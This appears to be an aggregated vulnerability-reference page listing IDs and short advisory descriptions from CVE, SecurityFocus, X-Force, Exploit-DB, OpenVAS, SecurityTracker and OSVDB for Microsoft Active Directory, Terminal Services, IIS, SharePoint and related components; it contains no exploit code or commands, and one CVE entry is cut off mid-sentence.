[CVE-2003-0533] Stack-based buffer overflow in certain Active Directory service functions in LSASRV.DLL of the Local Security Authority Subsystem Service (LSASS) in Microsoft Windows NT 4.0 SP6a, 2000 SP2 through SP4, XP SP1, Server 2003, NetMeeting, Windows 98, and Windows ME, allows remote attackers to execute arbitrary code via a packet that causes the DsRolerUpgradeDownlevelServer function to create long debug entries for the DCPROMO.LOG log file, as exploited by the Sasser worm.
[CVE-2003-0507] Stack-based buffer overflow in Active Directory in Windows 2000 before SP4 allows remote attackers to cause a denial of service (reboot) and possibly execute arbitrary code via an LDAP version 3 search request with a large number of (1) "AND," (2) "OR," and possibly other statements, which causes LSASS.EXE to crash.
[CVE-2002-2328] Active Directory in Windows 2000, when supporting Kerberos V authentication and GSSAPI, allows remote attackers to cause a denial of service (hang) via an LDAP client that sets the page length to zero during a large request.

SecurityFocus - https://www.securityfocus.com/bid/:
[31609] Microsoft Windows Active Directory LDAP Request Handling Remote Code Execution Vulnerability
[29584] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[27638] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[24800] Microsoft Windows Active Directory LDAP Request Validation Remote Code Execution Vulnerability
[24796] Microsoft Windows Active Directory LDAP Request Validation Remote Denial Of Service Vulnerability
[97448] Microsoft Windows Active Directory CVE-2017-0164 Denial of Service Vulnerability
[91118] Microsoft Windows Active Directory CVE-2016-3226 Denial of Service Vulnerability
[90065] Microsoft Windows Kernel 'Win32k.sys' CVE-2016-0174 Local Privilege Escalation Vulnerability
[62184] Microsoft Windows Active Directory CVE-2013-3868 Denial of Service Vulnerability
[58848] Microsoft Windows Active Directory CVE-2013-1282 Denial of Service Vulnerability
[50570] Microsoft Active Directory LDAPS Authentication Bypass Vulnerability
[37215] Microsoft Windows Active Directory Single Sign On Authentication Spoofing Vulnerability
[36918] Microsoft Active Directory LDAP Request Stack Exhaustion Denial Of Service Vulnerability
[35226] Microsoft Active Directory Encoded LDAP String Memory Corruption Remote Code Execution Vulnerability
[32305] Microsoft Active Directory LDAP Server Username Enumeration Weakness
[8093] Microsoft Windows 2000 Active Directory Forest Origin Validation Vulnerability
[7930] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[7330] Microsoft Windows Active Directory Policy Bypass Vulnerability

IBM X-Force - https://exchange.xforce.ibmcloud.com:
[50761] Microsoft Windows Active Directory LDAP denial of service
[50759] Microsoft Windows 2000 Active Directory LDAP code execution
[45585] Microsoft Windows Active Directory LDAP search buffer overflow
[42668] Microsoft Windows Active Directory LDAP request denial of service
[40102] Microsoft Windows Active Directory LDAP request denial of service
[35180] Microsoft Windows Active Directory LDAP denial of service
[35179] Microsoft Windows Active Directory LDAP attribute buffer overflow
[86072] Microsoft Windows Active Directory Federation Services information disclosure
[71559] Microsoft Windows Active Directory buffer overflow
[70950] Microsoft Windows Active Directory privilege escalation
[67750] Microsoft Windows Active Directory Certificate Services Web Enrollment cross-site scripting
[64915] Microsoft Windows Active Directory denial of service
[54426] Microsoft Windows Active Directory Federation Services (ADFS) code execution
[54425] Microsoft Windows Active Directory Federation Services (ADFS) spoofing
[34634] Microsoft Windows Server 2003 Active Directory information disclosure
[29737] Microsoft Active Directory maximum LDAP connections reached
[12489] Microsoft Windows 2000 Server Active Directory buffer overflow

Exploit-DB - https://www.exploit-db.com:
[22782] Microsoft Windows 2000 Active Directory Remote Stack Overflow Vulnerability
[30825] Microsoft Windows Media Digital Rights Management ActiveX Control Buffer Overflow Vulnerability
[29630] Microsoft Windows 2003/XP ReadDirectoryChangesW Information Disclosure Vulnerability
[20371] Microsoft Windows 95/WfW smbclient Directory Traversal Vulnerability
[19731] microsoft index server 2.0/indexing services for windows 2000 - Directory Traversal
[11195] Microsoft Windows Defender ActiveX Heap Overflow PoC

OpenVAS (Nessus) - http://www.openvas.org:
[902487] Microsoft Windows Active Directory LDAPS Authentication Bypass Vulnerability (2630837)
[902290] Microsoft Windows Active Directory SPN Denial of Service (2478953)
[901048] Microsoft Windows Active Directory Denial of Service Vulnerability (973309)
[900566] Microsoft Active Directory LDAP Remote Code Execution Vulnerability (969805)
[801598] Microsoft Windows2k3 Active Directory 'BROWSER ELECTION' Buffer Overflow Vulnerability

SecurityTracker - https://www.securitytracker.com:
[1028405] Microsoft Active Directory LDAP Processing Flaw Lets Remote Users Deny Service
[1021042] Microsoft Active Directory LDAP Memory Allocation Error Lets Remote Users Execute Arbitrary Code
[1020229] Microsoft Active Directory LDAP Validation Bug Lets Remote Users Deny Service
[1018355] Windows Active Directory Bug in Processing LDAP Convertible Attributes Lets Remote Users Execute Arbitrary Code
[1007093] Microsoft Active Directory Stack Overflow in 'Lsaas.exe' Lets Remote Users Crash the Windows 2000 Server
[1028908] Microsoft Active Directory Federation Services Discloses Account Information to Remote Users
[1026412] Microsoft Active Directory Memory Access Error Lets Remote Authenticated Users Execute Arbitrary Code
[1026294] Microsoft Active Directory CRL Validation Flaw Lets Remote Users Bypass Authentication
[1025653] Microsoft Active Directory Input Validation Flaw in Certificate Services Web Enrollment Permits Cross-Site Scripting Attacks
[1025330] Microsoft WMITools and Windows Messenger ActiveX Controls Let Remote Users Execute Arbitrary Code
[1025086] Microsoft Active Directory Heap Overflow in Processing BROWSER ELECTION Packets May Let Remote Users Execute Arbitrary Code
[1025042] Microsoft Active Directory SPN Collosions May Let Remote Authenticated Users Deny Service
[1023296] Microsoft Active Directory Federation Services Lets Remote Authenticated Users Execute Arbitrary Code and Spoof Web Sites
[1023156] Microsoft Active Directory Stack Memory Consumption Flaw Lets Remote Users Deny Service
[1022349] Microsoft Active Directory Bugs Let Remote Users Execute Arbitrary Code or Deny Service
[1021369] Microsoft Visual Basic DataGrid/FlexGrid/Heirarchival FlexGrid/Windows Common/Charts ActiveX Controls Let Remote Users Execute Arbitrary Code
[1020512] HP OpenView Select Identity Unspecified Flaw in Active Directory Bidirectional LDAP Connector Lets Remote Users Access the System
[1019382] Active Directory LDAP Processing Bug Lets Remote Users Deny Service
[1011233] WebLogic Active Directory LDAP Error May Fail to Disable User Accounts
[1009767] Microsoft Windows 2000 Domain Controller LDAP Flaw May Let Remote Users Restart the Authentication Service
[1007932] Microsoft Windows Troubleshooter ActiveX Control Buffer Overflow Lets Remote Users Execute Arbitrary Code
[1007905] Microsoft Windows Server 2003 Shell Folders Can Be Referenced Using Directory Traversal Characters
[1005150] Microsoft Windows Operating System Certificate Enrollment ActiveX Control Allows Remote Users to Delete Certificates on a Target User's System
[1004441] Microsoft Windows Help System Buffer Overflows in 'htctrl.ocx' ActiveX Control May Let Remote Users Execute Arbitrary Code on a Target User's Computer By Sending Malicious HTML
[1004369] Microsoft Active Directory May Have Bug That Allows Remote Users to Crash the Directory
[1003420] Microsoft Site Server Commerce Edition Discloses Potentially Sensitive Administration Information and Source Code to Remote Users With Valid Accounts and Discloses User Passwords from the LDAP Directory to Anonymous Remote Users
[1003075] ActivePerl for Windows Discloses Directory Path Location to Remote Users
[1001832] Microsoft Windows 2000 LDAP Server Lets Remote Users Gain Administrator Access to the Domain Controller When Configured to Support LDAP over SSL

OSVDB - http://www.osvdb.org:
[92126] Microsoft Windows Multiple Active Directory Components LDAP Crafted Query Handling Memory Consumption Remote DoS
[76902] Microsoft Windows Active Directory LDAPS CRL Handling Weakness Authentication Bypass
[60210] Microsoft Windows Active Directory Malformed LDAP Client Request Remote DoS
[59856] Microsoft Windows Active Directory Malformed LDAP Request Stack Exhaustion Remote DoS
[54938] Microsoft Windows Active Directory Crafted LDAP(S) Request Handling Remote DoS
[54937] Microsoft Windows Active Directory Crafted LDAP(S) Request Hexdecimal DN AttributeValue Handling Arbitrary Code Execution
[50000] Microsoft Windows Active Directory LDAP Server Bind Request User Account Enumeration
[49058] Microsoft Windows Active Directory LDAP(S) Request Handling Remote Overflow
[46066] Microsoft Windows Active Directory LDAP Request Processing Remote DoS
[35961] Microsoft Windows Active Directory LDAP Service Crafted Request Remote DoS
[35960] Microsoft Windows Active Directory LDAP Service Convertible Attribute Remote Code Execution
[15379] Microsoft Windows ActiveDirectory LDAP Authentication Bypass
[77667] Microsoft Windows Active Directory Query Parsing Remote Overflow
[72937] Microsoft Windows Active Directory Certificate Services Web Enrollment XSS
[72670] Microsoft Windows Server 2003 ActiveDirectory BROWSER ELECTION Remote Overflow
[70825] Microsoft Windows Server Active Directory Server Principal Name (SPN) Handling Remote DoS
[60836] Microsoft Windows Active Directory Federation Services (ADFS) Request Header Handling Remote Code Execution
[60835] Microsoft Windows Active Directory Federation Services (ADFS) Single Sign-on Spoofing
[41461] Microsoft Active Directory / ADAM Malformed LDAP Request Remote DoS
[36138] Microsoft Windows Active Directory Time Restriction User Enumeration
[30405] Microsoft Windows Active Directory Unspecified DoS
[12655] Microsoft Windows Active Directory LSASS.EXE DoS
[2237] Microsoft Windows 2000 Active Directory Lsass.exe Overflow
[1297] Microsoft Windows 2000 Active Directory Object Attribute		N/A
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[133212] Microsoft Windows up to Server 2019 Terminal Services Memory information disclosure
[89520] Microsoft Windows Terminal Services information disclosure
[89444] Microsoft Windows Remote Desktop/Terminal Services Web Connection weak authentication
[88283] Microsoft Windows Terminal Services/Citrix Server weak authentication
[176506] Microsoft Windows 7 SP1 up to Server 2019 Remote Desktop Services denial of service
[160966] Microsoft SQL Server 2017/2019 Reporting Services privilege escalation
[160940] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[160876] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[157951] Microsoft Windows up to Server 2019 Storage Services privilege escalation
[157899] Microsoft SharePoint 2010 SP2/2013 SP1/2016/2019 PerformancePoint Services privilege escalation
[155092] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[149914] Microsoft Exchange Server 2013 CU23/2016 CU14/2016 CU15/2019 CU3/2019 CU4 Exchange Web Services privilege escalation
[141620] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[139916] Microsoft Windows up to Server 2019 XML Core Services MSXML Parser XML External Entity
[137588] Microsoft Exchange Server 2010 SP3/2013 CU23/2016 CU12/2016 CU13 Web Services privilege escalation
[134704] Microsoft SQL Server 2017 Analysis Services information disclosure
[131629] Microsoft Windows up to Server 2019 Deployment Services TFTP Server privilege escalation
[126730] Microsoft Windows up to Server 2019 Active Directory Federation Services cross site scripting
[126711] Microsoft Windows up to Server 2019 Deployment Services TFTP Server memory corruption
[124217] Microsoft Windows Server 2012/Server 2016 Active Directory Federation Services /adfs/ls privilege escalation
[121120] Microsoft Active Directory Federation Services Web Customizations cross site scripting
[113262] Microsoft Windows 10/Server 1709 Storage Services privilege escalation
[107724] Microsoft Windows up to Server 2016 Text Services Framework privilege escalation
[106454] Microsoft Windows up to Server 2016 Windows NetBT Session Services race condition
[105008] Microsoft SQL Server 2012/2014/2016 Analysis Services information disclosure
[99697] Microsoft SharePoint Server 2010 SP1/2010 SP2 Excel Services cross site scripting
[98113] Microsoft Windows up to Vista SP2 XML Core Services information disclosure
[98110] Microsoft Windows Active Directory Federation Services information disclosure
[89295] Microsoft Windows Services information disclosure
[88763] Microsoft Windows Remote Data Services information disclosure
[81899] Microsoft Windows Media Services privilege escalation
[78371] Microsoft SharePoint Server 2007 SP3/2010 SP2 InfoPath Forms Services information disclosure
[77038] Microsoft Windows Server 2008 SP2 UDDI Services cross site scripting
[77032] Microsoft Windows up to Vista XML Core Services weak encryption
[77031] Microsoft Windows up to Vista XML Core Services information disclosure
[77030] Microsoft Windows up to Vista XML Core Services weak encryption
[75783] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services cross site scripting
[74834] Microsoft Windows Server 2012 R2 Active Directory Federation Services 3.0 privilege escalation
[73958] Microsoft Windows up to Vista SP2 Text Services Data Processing Error
[53508] Microsoft SharePoint Services 3.0 denial of service
[26523] Microsoft Windows 95/98/ME/NT 4.0 Terminal Service unknown vulnerability
[25513] Microsoft Windows XP Services for UNIX unknown vulnerability
[24284] Microsoft SharePoint Team Services cross site scripting
[67354] Microsoft SQL Server 2008 R2 SP2/2008 SP3/2012 SP1/2014 SQL Master Data Services denial of service
[21751] Microsoft Windows Media Services 4.1 TCP/IP Packet denial of service
[21448] Microsoft Windows up to 2000 SP3/XP Terminal Service msgina.dll denial of service
[20485] Microsoft Windows NT 4.0/2000 Media Services nsiislog.dll memory corruption
[20108] Microsoft Windows NT 4.0/2000/XP Terminal Server memory corruption
[19175] Microsoft Java Virtual Machine 1.1 getNativeServices memory corruption
[19063] Microsoft Windows NT 4.0/2000/XP Sun RPC Library Services denial of service
[19062] Microsoft Windows NT 4.0/2000/XP Sun RPC Library Services denial of service
[18464] Microsoft Windows 2000 Terminal Server privilege escalation
[17655] Microsoft Windows NT 4.0/2000 Terminal Server denial of service
[17567] Microsoft Windows NT 4.0/2000 Terminal Server denial of service
[16417] Microsoft Windows Media Services 4.0/4.1 Unicast Service denial of service
[16305] Microsoft Windows NT 4.0 Terminal Server RegAPI.DLL memory corruption
[15980] Microsoft Windows Media Services 4.0/4.1 Unicast Service denial of service
[15607] Microsoft Windows Media Services 4.0/4.1 Encoder Request denial of service
[15341] Microsoft Windows Media Services 4.0/4.1 Handshake denial of service
[14767] Microsoft Windows NT 4.0 Terminal Server weak authentication
[13546] Microsoft Windows up to Vista XML Core Services privilege escalation
[12264] Microsoft Windows up to XP XML Core Services privilege escalation
[9929] Microsoft Windows Server 2008/Server 2012 Active Directory Federation Services information disclosure
[7255] Microsoft .NET Framework up to 4.5 System.DirectoryServices.Protocolsb Method memory corruption
[4103] Microsoft Windows Server 2003 Media Services memory corruption
[3372] Microsoft Windows SharePoint Services cross site scripting
[3302] Microsoft Windows Services for UNIX privilege escalation
[2655] Microsoft Windows 2000/Server 2003/XP XML Core Services memory corruption
[1042] Microsoft Windows up to Server 2003 HyperTerminal URL memory corruption
[153] Microsoft Windows 2000 Terminal Service unknown vulnerability

MITRE CVE - https://cve.mitre.org:
[CVE-2009-1929] Heap-based buffer overflow in the Microsoft Terminal Services Client ActiveX control running RDP 6.1 on Windows XP SP2, Vista SP1 or SP2, or Server 2008 Gold or SP2
[CVE-2009-1133] Heap-based buffer overflow in Microsoft Remote Desktop Connection (formerly Terminal Services Client) running RDP 5.0 through 6.1 on Windows, and Remote Desktop Connection Client for Mac 2.0, allows remote attackers to execute arbitrary code via unspecified parameters, aka "Remote Desktop Connection Heap Overflow Vulnerability."
[CVE-2006-4219] The Terminal Services COM object (tsuserex.dll) allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code by instantiating it as an ActiveX object in Internet Explorer 6.0 SP1 on Microsoft Windows 2003 EE SP1 CN.
[CVE-2005-3176] Microsoft Windows 2000 before Update Rollup 1 for SP4 does not record the IP address of a Windows Terminal Services client in a security log event if the client connects successfully, which could make it easier for attackers to escape detection.
[CVE-2003-0807] Buffer overflow in the COM Internet Services and in the RPC over HTTP Proxy components for Microsoft Windows NT Server 4.0, NT 4.0 Terminal Server Edition, 2000, XP, and Server 2003 allows remote attackers to cause a denial of service via a crafted request.
[CVE-2002-1933] The terminal services screensaver for Microsoft Windows 2000 does not automatically lock the terminal window if the window is minimized, which could allow local users to gain access to the terminal server window.
[CVE-2002-1795] Cross-site scripting (XSS) vulnerability in connect.asp in Microsoft Terminal Services Advanced Client (TSAC) ActiveX control allows remote attackers to inject arbitrary web script or HTML via unknown vectors.
[CVE-2002-0726] Buffer overflow in Microsoft Terminal Services Advanced Client (TSAC) ActiveX control allows remote attackers to execute arbitrary code via a long server name field.
[CVE-2013-1282] The LDAP service in Microsoft Active Directory, Active Directory Application Mode (ADAM), Active Directory Lightweight Directory Service (AD LDS), and Active Directory Services allows remote attackers to cause a denial of service (memory consumption and service outage) via a crafted query, aka "Memory Consumption Vulnerability."
[CVE-2013-0007] Microsoft XML Core Services (aka MSXML) 4.0, 5.0, and 6.0 does not properly parse XML content, which allows remote attackers to execute arbitrary code via a crafted web page, aka "MSXML XSLT Vulnerability."
[CVE-2013-0006] Microsoft XML Core Services (aka MSXML) 3.0, 5.0, and 6.0 does not properly parse XML content, which allows remote attackers to execute arbitrary code via a crafted web page, aka "MSXML Integer Truncation Vulnerability."
[CVE-2013-0003] Buffer overflow in a System.DirectoryServices.Protocols (S.DS.P) namespace method in Microsoft .NET Framework 2.0 SP2, 3.0 SP2, 3.5, 3.5.1, 4, and 4.5 allows remote attackers to execute arbitrary code via (1) a crafted XAML browser application (XBAP) or (2) a crafted .NET Framework application that leverages a missing array-size check during a memory copy operation, aka "S.DS.P Buffer Overflow Vulnerability."
[CVE-2012-2552] Cross-site scripting (XSS) vulnerability in the SQL Server Report Manager in Microsoft SQL Server 2000 Reporting Services SP2 and SQL Server 2005 SP4, 2008 SP2 and SP3, 2008 R2 SP1, and 2012 allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka "Reflected XSS Vulnerability."
[CVE-2012-2532] Microsoft FTP Service 7.0 and 7.5 for Internet Information Services (IIS) processes unspecified commands before TLS is enabled for a session, which allows remote attackers to obtain sensitive information by reading the replies to these commands, aka "FTP Command Injection Vulnerability."
[CVE-2012-2531] Microsoft Internet Information Services (IIS) 7.5 uses weak permissions for the Operational log, which allows local users to discover credentials by reading this file, aka "Password Disclosure Vulnerability."
[CVE-2012-2520] Cross-site scripting (XSS) vulnerability in Microsoft InfoPath 2007 SP2 and SP3 and 2010 SP1, Communicator 2007 R2, Lync 2010 and 2010 Attendee, SharePoint Server 2007 SP2 and SP3 and 2010 SP1, Groove Server 2010 SP1, Windows SharePoint Services 3.0 SP2, SharePoint Foundation 2010 SP1, and Office Web Apps 2010 SP1 allows remote attackers to inject arbitrary web script or HTML via a crafted string, aka "HTML Sanitization Vulnerability."
[CVE-2012-1889] Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.
[CVE-2012-1863] Cross-site scripting (XSS) vulnerability in Microsoft Office SharePoint Server 2007 SP2 and SP3 Windows SharePoint Services 3.0 SP2, and SharePoint Foundation 2010 Gold and SP1 allows remote attackers to inject arbitrary web script or HTML via crafted JavaScript elements in a URL, aka "SharePoint Reflected List Parameter Vulnerability."
[CVE-2012-0152] The Remote Desktop Protocol (RDP) service in Microsoft Windows Server 2008 R2 and R2 SP1 and Windows 7 Gold and SP1 allows remote attackers to cause a denial of service (application hang) via a series of crafted packets, aka "Terminal Server Denial of Service Vulnerability."
[CVE-2011-1991] Multiple untrusted search path vulnerabilities in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, and Windows 7 Gold and SP1 allow local users to gain privileges via a Trojan horse DLL in the current working directory, as demonstrated by a directory that contains a .doc, .rtf, or .txt file, related to (1) deskpan.dll in the Display Panning CPL Extension, (2) EAPHost Authenticator Service, (3) Folder Redirection, (4) HyperTerminal, (5) the Japanese Input Method Editor (IME), and (6) Microsoft Management Console (MMC), aka "Windows Components Insecure Library Loading Vulnerability."
[CVE-2011-1893] Cross-site scripting (XSS) vulnerability in Microsoft Office SharePoint Server 2010, Windows SharePoint Services 2.0 and 3.0 SP2, and SharePoint Foundation 2010 allows remote attackers to inject arbitrary web script or HTML via the URI, aka "SharePoint XSS Vulnerability."
[CVE-2011-1892] Microsoft Office Groove 2007 SP2, SharePoint Workspace 2010 Gold and SP1, Office Forms Server 2007 SP2, Office SharePoint Server 2007 SP2, Office SharePoint Server 2010 Gold and SP1, Office Groove Data Bridge Server 2007 SP2, Office Groove Management Server 2007 SP2, Groove Server 2010 Gold and SP1, Windows SharePoint Services 3.0 SP2, SharePoint Foundation 2010, and Office Web Apps 2010 Gold and SP1 do not properly handle Web Parts containing XML classes referencing external entities, which allows remote authenticated users to read arbitrary files via a crafted XML and XSL file, aka "SharePoint Remote File Disclosure Vulnerability."
[CVE-2011-1891] Cross-site scripting (XSS) vulnerability in Microsoft Windows SharePoint Services 3.0 SP2, and SharePoint Foundation 2010 Gold and SP1, allows remote attackers to inject arbitrary web script or HTML via unspecified parameters in a request to a script, aka "Contact Details Reflected XSS Vulnerability."
[CVE-2011-1264] Cross-site scripting (XSS) vulnerability in Active Directory Certificate Services Web Enrollment in Microsoft Windows Server 2003 SP2 and Server 2008 Gold, SP2, R2, and R2 SP1 allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka "Active Directory Certificate Services Vulnerability."
[CVE-2011-1252] Cross-site scripting (XSS) vulnerability in the SafeHTML function in the toStaticHTML API in Microsoft Internet Explorer 7 and 8, Office SharePoint Server 2007 SP2, Office SharePoint Server 2010 Gold and SP1, Groove Server 2010 Gold and SP1, Windows SharePoint Services 3.0 SP2, and SharePoint Foundation 2010 Gold and SP1 allows remote attackers to inject arbitrary web script or HTML via unspecified strings, aka "toStaticHTML Information Disclosure Vulnerability" or "HTML Sanitization Vulnerability."
[CVE-2010-4701] Heap-based buffer overflow in the CDrawPoly::Serialize function in fxscover.exe in Microsoft Windows Fax Services Cover Page Editor 5.2 r2 in Windows XP Professional SP3, Server 2003 R2 Enterprise Edition SP2, and Windows 7 Professional allows remote attackers to execute arbitrary code via a long record in a Fax Cover Page (.cov) file. NOTE: some of these details are obtained from third party information.
[CVE-2010-3972] Heap-based buffer overflow in the TELNET_STREAM_CONTEXT::OnSendData function in ftpsvc.dll in Microsoft FTP Service 7.0 and 7.5 for Internet Information Services (IIS) 7.0, and IIS 7.5, allows remote attackers to execute arbitrary code or cause a denial of service (daemon crash) via a crafted FTP command, aka "IIS FTP Service Heap Buffer Overrun Vulnerability." NOTE: some of these details are obtained from third party information.
[CVE-2010-3332] Microsoft .NET Framework 1.1 SP1, 2.0 SP1 and SP2, 3.5, 3.5 SP1, 3.5.1, and 4.0, as used for ASP.NET in Microsoft Internet Information Services (IIS), provides detailed error codes during decryption attempts, which allows remote attackers to decrypt and modify encrypted View State (aka __VIEWSTATE) form data, and possibly forge cookies or read application files, via a padding oracle attack, aka "ASP.NET Padding Oracle Vulnerability."
[CVE-2010-3324] The toStaticHTML function in Microsoft Internet Explorer 8, and the SafeHTML function in Microsoft Windows SharePoint Services 3.0 SP2, SharePoint Foundation 2010, Office SharePoint Server 2007 SP2, Groove Server 2010, and Office Web Apps, allows remote attackers to bypass the cross-site scripting (XSS) protection mechanism and conduct XSS attacks via a crafted use of the Cascading Style Sheets (CSS) @import rule, aka "HTML Sanitization Vulnerability," a different vulnerability than CVE-2010-1257.
[CVE-2010-3243] Cross-site scripting (XSS) vulnerability in the toStaticHTML function in Microsoft Internet Explorer 8, and the SafeHTML function in Microsoft Windows SharePoint Services 3.0 SP2 and Office SharePoint Server 2007 SP2, allows remote attackers to inject arbitrary web script or HTML via unspecified vectors, aka "HTML Sanitization Vulnerability."
[CVE-2010-2731] Unspecified vulnerability in Microsoft Internet Information Services (IIS) 5.1 on Windows XP SP3, when directory-based Basic Authentication is enabled, allows remote attackers to bypass intended access restrictions and execute ASP files via a crafted request, aka "Directory Authentication Bypass Vulnerability."
[CVE-2010-2730] Buffer overflow in Microsoft Internet Information Services (IIS) 7.5, when FastCGI is enabled, allows remote attackers to execute arbitrary code via crafted headers in a request, aka "Request Header Buffer Overflow Vulnerability."
[CVE-2010-2561] Microsoft XML Core Services (aka MSXML) 3.0 does not properly handle HTTP responses, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted response, aka "Msxml2.XMLHTTP.3.0 Response Handling Memory Corruption Vulnerability."
[CVE-2010-2555] The Tracing Feature for Services in Microsoft Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 does not properly determine the length of strings in the registry, which allows local users to gain privileges or cause a denial of service (memory corruption) via vectors involving a long string, aka "Tracing Memory Corruption Vulnerability."
[CVE-2010-2554] The Tracing Feature for Services in Microsoft Windows Vista SP1 and SP2, Windows Server 2008 Gold, SP2, and R2, and Windows 7 has incorrect ACLs on its registry keys, which allows local users to gain privileges via vectors involving a named pipe and impersonation, aka "Tracing Registry Key ACL Vulnerability."
[CVE-2010-1899] Stack consumption vulnerability in the ASP implementation in Microsoft Internet Information Services (IIS) 5.1, 6.0, 7.0, and 7.5 allows remote attackers to cause a denial of service (daemon outage) via a crafted request, related to asp.dll, aka "IIS Repeated Parameter Request Denial of Service Vulnerability."
[CVE-2010-1264] Unspecified vulnerability in Microsoft Windows SharePoint Services 3.0 SP1 and SP2 allows remote attackers to cause a denial of service (hang) via crafted requests to the Help page that cause repeated restarts of the application pool, aka "Sharepoint Help Page Denial of Service Vulnerability."
[CVE-2010-0817] Cross-site scripting (XSS) vulnerability in _layouts/help.aspx in Microsoft SharePoint Server 2007 12.0.0.6421 and possibly earlier, and SharePoint Services 3.0 SP1 and SP2, versions, allows remote attackers to inject arbitrary web script or HTML via the cid0 parameter.
[CVE-2010-0478] Stack-based buffer overflow in nsum.exe in the Windows Media Unicast Service in Media Services for Microsoft Windows 2000 Server SP4 allows remote attackers to execute arbitrary code via crafted packets associated with transport information, aka "Media Services Stack-based Buffer Overflow Vulnerability."
[CVE-2009-4445] Microsoft Internet Information Services (IIS), when used in conjunction with unspecified third-party upload applications, allows remote attackers to create empty files with arbitrary extensions via a filename containing an initial extension followed by a : (colon) and a safe extension, as demonstrated by an upload of a .asp:.jpg file that results in creation of an empty .asp file, related to support for the NTFS Alternate Data Streams (ADS) filename syntax.  NOTE: it could be argued that this is a vulnerability in the third-party product, not IIS, because the third-party product should be applying its extension restrictions to the portion of the filename before the colon.
[CVE-2009-4444] Microsoft Internet Information Services (IIS) 5.x and 6.x uses only the portion of a filename before a 
[CVE-2009-3830] The download functionality in Team Services in Microsoft Office SharePoint Server 2007 12.0.0.4518 and 12.0.0.6219 allows remote attackers to read ASP.NET source code via pathnames in the SourceUrl and Source parameters to _layouts/download.aspx.
[CVE-2009-3555] The TLS protocol, and the SSL protocol 3.0 and possibly earlier, as used in Microsoft Internet Information Services (IIS) 7.0, mod_ssl in the Apache HTTP Server 2.2.14 and earlier, OpenSSL before 0.9.8l, GnuTLS 2.8.5 and earlier, Mozilla Network Security Services (NSS) 3.12.4 and earlier, multiple Cisco products, and other products, does not properly associate renegotiation handshakes with an existing connection, which allows man-in-the-middle attackers to insert data into HTTPS sessions, and possibly other types of sessions protected by TLS or SSL, by sending an unauthenticated request that is processed retroactively by a server in a post-renegotiation context, related to a "plaintext injection" attack, aka the "Project Mogul" issue.
[CVE-2009-3126] Integer overflow in GDI+ in Microsoft Internet Explorer 6 SP1, Windows XP SP2 and SP3, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allows remote attackers to execute arbitrary code via a crafted PNG image file, aka "GDI+ PNG Integer Overflow Vulnerability."
[CVE-2009-3023] Buffer overflow in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 6.0 allows remote authenticated users to execute arbitrary code via a crafted NLST (NAME LIST) command that uses wildcards, leading to memory corruption, aka "IIS FTP Service RCE and DoS Vulnerability."
[CVE-2009-2521] Stack consumption vulnerability in the FTP Service in Microsoft Internet Information Services (IIS) 5.0 through 7.0 allows remote authenticated users to cause a denial of service (daemon crash) via a list (ls) -R command containing a wildcard that references a subdirectory, followed by a .. (dot dot), aka "IIS FTP Service DoS Vulnerability."
[CVE-2009-2509] Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly validate headers in HTTP requests, which allows remote authenticated users to execute arbitrary code via a crafted request to an IIS web server, aka "Remote Code Execution in ADFS Vulnerability."
[CVE-2009-2508] The single sign-on implementation in Active Directory Federation Services (ADFS) in Microsoft Windows Server 2003 SP2 and Server 2008 Gold and SP2 does not properly remove credentials at the end of a network session, which allows physically proximate attackers to obtain the credentials of a previous user of the same web browser by using data from the browser's cache, aka "Single Sign On Spoofing in ADFS Vulnerability."
[CVE-2009-2504] Multiple integer overflows in unspecified APIs in GDI+ in Microsoft .NET Framework 1.1 SP1, .NET Framework 2.0 SP1 and SP2, Windows XP SP2 and SP3, Windows Server 2003 SP2, Vista Gold and SP1, Server 2008 Gold, Office XP SP3, Office 2003 SP3, 2007 Microsoft Office System SP1 and SP2, Office Project 2002 SP1, Visio 2002 SP2, Office Word Viewer, Word Viewer 2003 Gold and SP3, Office Excel Viewer 2003 Gold and SP3, Office Excel Viewer, Office PowerPoint Viewer 2007 Gold, SP1, and SP2, Office Compatibility Pack for Word, Excel, and PowerPoint 2007 File Formats SP1 and SP2, Expression Web, Expression Web 2, Groove 2007 Gold and SP1, Works 8.5, SQL Server 2000 Reporting Services SP2, SQL Server 2005 SP2 and SP3, Report Viewer 2005 SP1, Report Viewer 2008 Gold and SP1, and Forefront Client Security 1.0 allow remote attackers to execute arbitrary code via (1) a crafted XAML browser application (XBAP), (2) a crafted ASP.NET application, or (3) a crafted .NET Framework application, aka "GDI+ .NET API Vulnerability."
